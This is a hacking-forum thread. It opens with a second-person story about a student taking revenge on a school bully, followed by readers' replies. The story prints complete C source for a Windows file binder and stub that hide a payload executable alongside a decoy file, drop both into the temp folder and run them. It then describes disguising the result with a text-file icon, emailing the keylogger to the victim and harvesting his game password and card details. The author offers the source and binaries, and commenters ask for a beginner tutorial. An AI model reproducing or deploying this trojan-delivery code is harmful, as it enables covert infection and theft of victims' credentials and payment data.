With Great Power Comes Great Responsibility

A droplet of water shatters like glass upon your nose as the murky sky roars dominantly overhead. You gladly respect the sky gods’ anger and continue picking up your pace since you’ve still a while to go until you’re home.

3:30 PM. Though it took you 20 minutes to jog home from school. Surprisingly, you managed to evade the torrential downpour which unexpectedly started slamming deafeningly against the ceramic tiles on your roof as you hurried to your room. Carelessly dropping your school bag, you hopped onto your chair and woke your computer from sleep. Your heart begins to race. The school bully, Jerry, had almost redecorated your face with the red paint from your nose earlier today because you failed to provide the assignment solutions at the time he requested. In response, you gave him an Oscar-award winning act, begging him not to since you would not be able to deliver it to him from the hospital. You’ve promised to send it to him over the internet some time tonight but you’ve other plans…

You fired up your Microsoft Visual Studio IDE and started to revise the code on which you have been working for the past couple of days. Firstly, the code for the the file binder.

#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

#define PAYLOAD_BUFFER_RSRC_ID 10
#define PAYLOAD_EXTENSION_RSRC_ID (PAYLOAD_BUFFER_RSRC_ID + 1)
#define SECONDARY_BUFFER_RSRC_ID 20
#define SECONDARY_EXTENSION_RSRC_ID (SECONDARY_BUFFER_RSRC_ID + 1)

typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwFileSize;
    LPSTR lpExtension;
    DWORD dwExtensionLength;
} FileStruct, *pFileStruct;

VOID Debug(LPCSTR fmt, ...) {
    va_list args;
    va_start(args, fmt);

    vprintf(fmt, args);

    va_end(args);
}

FileStruct *LoadFile(LPCSTR szFileName) {
    Debug("Loading %s...\n", szFileName);

    Debug("Initializing struct...\n");
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) {
        Debug("Create %s file structure error: %lu\n", szFileName, GetLastError());
        return NULL;
    }

    Debug("Initializing file...\n");
    // get file handle to file
    HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create file error: %lu\n", GetLastError());
        free(fs);
        return NULL;
    }

    Debug("Extracting extension...\n");
    // get file extension
    fs->lpExtension = PathFindExtension(szFileName);
    fs->dwExtensionLength = strlen(fs->lpExtension);
    Debug("Extension: %s\n", fs->lpExtension);

    // get file size
    Debug("Retrieving file size...\n");
    fs->dwFileSize = GetFileSize(hFile, NULL);
    if (fs->dwFileSize == INVALID_FILE_SIZE) {
        Debug("Get file size error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }

    // create heap buffer to hold file contents
    fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
    if (fs->pBuffer == NULL) {
        Debug("Create buffer error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }

    // read file contents
    Debug("Reading file contents...\n");
    DWORD dwRead = 0;
    if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
        Debug("Read file error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(fs);
        return NULL;
    }
    Debug("Read 0x%08x bytes\n\n", dwRead);

    // clean up
    CloseHandle(hFile);

    return fs;
}

BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs, int nRsrcId) {
    // start updating stub's resources
    HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
    // add file as a resource to stub
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(nRsrcId), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwFileSize) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // add file's extension as a resource
    if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(nRsrcId + 1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->lpExtension, fs->dwExtensionLength) == FALSE) {
        Debug("Update resource error: %lu\n", GetLastError());
        return FALSE;
    }

    EndUpdateResource(hUpdate, FALSE);

    return TRUE;
}

BOOL BuildStub(LPCSTR szFileName, FileStruct *fsPayload, FileStruct *fsSecondary) {
    Debug("Building stub: %s...\n", szFileName);

    // get stub program as a resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
    if (hRsrc == NULL) {
        Debug("Find resource error: %lu\n", GetLastError());
        return FALSE;
    }
    DWORD dwSize = SizeofResource(NULL, hRsrc);

    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) {
        Debug("Load resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // get stub's file content
    PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
    if (pBuffer == NULL) {
        Debug("Lock resource error: %lu\n", GetLastError());
        return FALSE;
    }

    // create output file
    Debug("Creating stub file...\n");
    HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create stub error: %lu\n", GetLastError());
        free(pBuffer);
        return FALSE;
    }

    // write stub content to output file
    Debug("Writing buffer content to stub...\n");
    DWORD dwWritten = 0;
    if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
        Debug("Write payload to stub error: %lu\n", GetLastError());
        CloseHandle(hFile);
        free(pBuffer);
        return FALSE;
    }
    Debug("Wrote 0x%08x bytes\n\n");

    CloseHandle(hFile);

    // add payload to stub
    Debug("Updating stub with payload...\n");
    if (UpdateStub(szFileName, fsPayload, PAYLOAD_BUFFER_RSRC_ID) == FALSE)
        return FALSE;

    // add secondary file to stub
    Debug("Updating stub with secondary file...\n");
    if (UpdateStub(szFileName, fsSecondary, SECONDARY_BUFFER_RSRC_ID) == FALSE)
        return FALSE;

    return TRUE;
}

// FileBinder.exe [PAYLOAD FILE] [SECONDARY FILE] [OUTPUT FILE]
int main(int argc, char *argv[]) {
    if (argc < 4) {
        Debug("Usage: %s [PAYLOAD EXECUTABLE] [SECONDARY FILE] [OUTPUT FILE]", argv[0]);
        return 1;
    }

    // load file information into structs
    FileStruct *fsPayload = LoadFile(argv[1]);
    if (fsPayload == NULL) return 1;
    FileStruct *fsSecondary = LoadFile(argv[2]);
    if (fsSecondary == NULL) return 1;

    if (BuildStub(argv[3], fsPayload, fsSecondary) == FALSE)
        return 1;

    free(fsPayload);
    free(fsSecondary);

    Debug("\nDone\n");

    return 0;
}

Silently, you read over the code and conjure the pseudocode in your mind.

1. Load each of the two input files and read their file contents, storing the information within structs
2. Create an empty output file as the updated stub
3. Load the stub as a resource and write it out to the output file
4. For each of the two input structs, add the members as a resource to the output stub file

A smirk grows on your face. You then quickly repeat the process for the stub of your file binder.

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>

#pragma comment(lib, "Shlwapi.lib")

#define PAYLOAD_BUFFER_RSRC_ID 10
#define PAYLOAD_EXTENSION_RSRC_ID (PAYLOAD_BUFFER_RSRC_ID + 1)
#define SECONDARY_BUFFER_RSRC_ID 20
#define SECONDARY_EXTENSION_RSRC_ID (SECONDARY_BUFFER_RSRC_ID + 1)

typedef struct _FileStruct {
    PBYTE pBuffer;
    DWORD dwFileSize;
    LPSTR lpExtension;
    DWORD dwExtensionLength;
} FileStruct, *pFileStruct;

VOID Debug(LPCSTR fmt, ...) {
    va_list args;
    va_start(args, fmt);

    CHAR szBuffer[BUFSIZ];
    vsprintf(szBuffer, fmt, args);
    MessageBox(NULL, szBuffer, __argv[0], MB_OK | MB_ICONEXCLAMATION);

    va_end(args);
}

FileStruct *InitializeStruct(int nRsrcId) {
    // create struct
    FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
    if (fs == NULL) return NULL;

    // get file buffer
    // get size of resource
    HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(nRsrcId), RT_RCDATA);
    if (hRsrc == NULL) return NULL;
    fs->dwFileSize = SizeofResource(NULL, hRsrc);

    // get pointer to resource buffer
    HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) return NULL;
    fs->pBuffer = (PBYTE)LockResource(hGlobal);
    if (fs->pBuffer == NULL) return NULL;

    // get file extension
    // get strlen of extension
    hRsrc = FindResource(NULL, MAKEINTRESOURCE(nRsrcId + 1), RT_RCDATA);
    if (hRsrc == NULL) return NULL;
    fs->dwExtensionLength = SizeofResource(NULL, hRsrc);

    // get pointer to extension buffer
    hGlobal = LoadResource(NULL, hRsrc);
    if (hGlobal == NULL) return NULL;
    fs->lpExtension = (PBYTE)LockResource(hGlobal);
    if (fs->lpExtension == NULL) return NULL;

    return fs;
}

BOOL DropFile(FileStruct *fs, LPSTR szFileNameBuffer) {
    DWORD dwWritten = 0;
    // get temp file name
    CHAR szTempFileName[MAX_PATH];
    CHAR szFileName[MAX_PATH];

    // get temp path
    GetTempPath(MAX_PATH, szTempFileName);
    // get file name (incl. path)
    GetModuleFileName(NULL, szFileName, MAX_PATH);
    // strip path and extract only executable name
    PathStripPath(szFileName);
    // append exe name to temp path
    PathAppend(szTempFileName, szFileName);
    // replace file extension
    memcpy(szTempFileName + strlen(szTempFileName) - 4, fs->lpExtension, fs->dwExtensionLength);
    strcpy(szFileNameBuffer, szTempFileName);

    // drop payload file
    HANDLE hFile = CreateFile(szTempFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        Debug("Create temp file error: %lu", GetLastError());
        return FALSE;
    }

    // write buffer into file
    if (WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL) == FALSE) {
        Debug("Write temp file error: %lu", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    // clean up
    CloseHandle(hFile);

    return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    FileStruct *fsPayload = NULL, *fsSecondary = NULL;

    fsPayload = InitializeStruct(PAYLOAD_BUFFER_RSRC_ID);
    fsSecondary = InitializeStruct(SECONDARY_BUFFER_RSRC_ID);

    CHAR szPayloadFileName[BUFSIZ];
    CHAR szSecondaryFileName[BUFSIZ];

    DropFile(fsPayload, szPayloadFileName);
    DropFile(fsSecondary, szSecondaryFileName);
    free(fsPayload);
    free(fsSecondary);

    // execute payload
    if (ShellExecute(NULL, NULL, szPayloadFileName, NULL, NULL, SW_NORMAL) <= 32) {
        Debug("Start payload error: %lu", GetLastError());
        return 1;
    }

    // execute secondary file
    if (ShellExecute(NULL, NULL, szSecondaryFileName, NULL, NULL, SW_NORMAL) <= 32) {
        Debug("Start secondary error: %lu", GetLastError());
        return 1;
    }

    return 0;
}
1. Initialize the file structs with the added resources from the file binder application for both files
2. For each file, create a temporary file and write out the file contents
3. Execute both files

You realize that this method for the stub is not the best since it introduces a lot of forensic evidence and disk activity however, you know that Jerry won’t have a single clue about any of this so you assumed you will be fine and need not to worry.

A test run to confirm that your file binder works is needed for you to be sure that this approach will be successful. Time to launch the Windows command shell.

You then launch Resource Hacker and add the icon of the text file to the application and press save…

You double click the file…

Your heart starts to beat faster… Successful execution.

Hurriedly, you disable debug mode for your keylogger and rebuild the file… You compress it inside a folder, attach it to an email directed to Jerry… and click to send. As you inhale deeply, questions begin plaguing your mind. What information would I get from his computer? Could I possibly find the password for his Facebook and Gmail? What could I do with such information? The heat of the moment has your brain running overtime as adrenaline floods your body as you decide to get up and shrug off the excitement which has exploded from your actions. A wide grin draws across your face as an ear-splitting blast of thunder explodes in the vicinity, almost as to complement what you have just unleashed…

~ ~ ~

There are no words which can describe your feelings as you approach your computer. It’s been exactly one week since you’ve delivered the silent, vengeful maelstrom upon your foe. Your heart is beating out of your chest. Breathing, quick in succession. You look behind you and see your door is wide open, welcoming any curious eyes to spy on your every actions. Your father is home today. After closing the door, slowly and soundlessly, you reapproach your system. It’s time for harvest…

You log into your FTP account through the FileZilla FTP client as you wonder what you could have retrieved. You browse to your directory which holds the logs from your keylogger and you see the text file waiting for its master. Waiting for you. Hesitantly, you right-click and click View. A Sublime Text window spawns and you see a mass of letters, numbers and strings which correspond to keys on the keyboard such as [ENTER] and [SHIFT]. A beautiful sight before your eyes. As you quickly run your eyes across the screen, you quickly see patterns. There were many w, a, s and d letters, all bunched together like aaaaaaaaaaaaaaaaa and wwwwwwwwwwwwwwwwdddddddwwwwwww. He must be playing some sort of game, you think to yourself. That means he must have needed to log into his account at some point. You check the strings from a previous point and you see it. Birdpers0n and 9375chw1f7y. Brilliant. What’s this? A sequence of eighteen followed by a slash and then five numbers and a Rick M. Sanchez? XXXXXXXXXXXXXXXXXX/XXXXX Rick M. SanchezXXXX XXXX XXXX XXXX XX/XX XXX Rick M. Sanchez… Droplets of sweat coat your palms and forehead, pupils dilated. Your respiration halts yet a wave of epinephrine overflows your bloodstream. You lean backwards onto your chair to absorb the information you have witnessed. You take a deep breath. What will you do with your discovery?


A’ight, so, this thread only covered the social engineering aspect of a hypothetical attack (obviously) which means that the details of the keylogger were missing. Do not worry, I am planning to write up a second part to my Windows Keylogging paper in the future which will cover the details such as FTP uploading keystrokes.

I’ll be uploading the source code to my GitHub - File Binder (there are other files which are involved which were not covered) and also the binaries (32-bit, compiled on Windows 7) if you guys want to play around with it. The binder works for any (AFAIK) two files, so that can be like .exe and .jpg, or .jpg and .txt but you might have to run the file binder/stub generator a second time some times if the output happens to fail on the first build.

Hope you guys enjoyed!

– dtm

19 Likes

Dunno if we’re looking at Oscar for best story or l33t of the w33k here, guess both. ; )

2 Likes

LOL thanks. It wasn’t much, just off the top of my head.

1 Like

You’re kidding right? That was bloody awesome mate! Keep it up! Loved it so much- might as well make it a movie. :wink:

3 Likes

This is awesome! Could you do a tutorial on how to use the file binder? Fairly newbie friendly too? This is a really nice binder you’ve made.

Yeah I guess I might as well do a small tutorial on it… after I publish my packer PoC project.

1 Like

Excellent post, @dtm! This is a great read. Couldn’t get any better.

1 Like

This is just plain amazing work. Well done.

1 Like

I should learn C…

Seriously though, I’ve been whining all over IRC for some good books to recommend, but only got “learn C the hard way” and the book by Ritchie. And don’t tell me that is enough, because I’m pretty sure this fancy stuff isn’t covered in either of the two! (or is it?). Basically, where do I learn this stuff? What books should I get after I finished the other two?

-Phoenix750

3 Likes

There could be material out there which discusses different “flavours”(?) of C like WinAPI but I learned it from reading the documentation and copy and pasting code from all over the internet (especially Stack Overflow). A lot of the code I couldn’t understand at first but over time as I familiarized myself with the language (and the OS), it became sorta natural.

Don’t expect a lot at the beginning, the steep uphill always comes before the easy downhill ride. You just gotta keep climbing.

6 Likes

I’ve got a couple good ones if you’d like!

I’ll just message you them when I have time later today :slight_smile:

>.>
There’s no way rick would fall for such a thing…
Git rickity rickity wrecked son!

But otherwise this was beautiful. I want moar!

Wow… after reading this piece of literature I’m speechless. Nice Job mate. Cheers.

Have you considered writing hacker novels or at least short stories like this? You definitely have a talent for writing. I’d probably even pay to read your stuff.
Just a thought…

Thanks for the kind words however, creative writing isn’t really that appealing to me. Glad you enjoyed it!

That’s true, but Jerry would. I forgot to mention that in this crazy universe, Jerry is Rick’s son.

Great post, really like the creative approach, but damn it, those windows data types throw me… guess it’s google time :slight_smile:

1 Like

Most, if not all, of the data types in the WinAPI are typedef’d to make things easier to recognize. For example, the data type HRSRC allows the reader to identify it as a resource handle as opposed to void * which is worth nothing in terms of being able to understand the purpose of the corresponding variable.

Here is the list of Windows Data Types and their typedefs: MSDN - Windows Data Types.

2 Likes

Thanks for that. I actually did go and step through your code with the help, mainly, of MSDN, and that very page. Turns out it wasn’t half as alien as it first appeared… which is great! Also helpful, were these:
va_arg, va_copy, va_end, va_start
windef.h source
Though I still don’t fully get MAKEINTRESOURCE(int rsrcid)… even after the docs. I’ll keep trying though :wink:

1 Like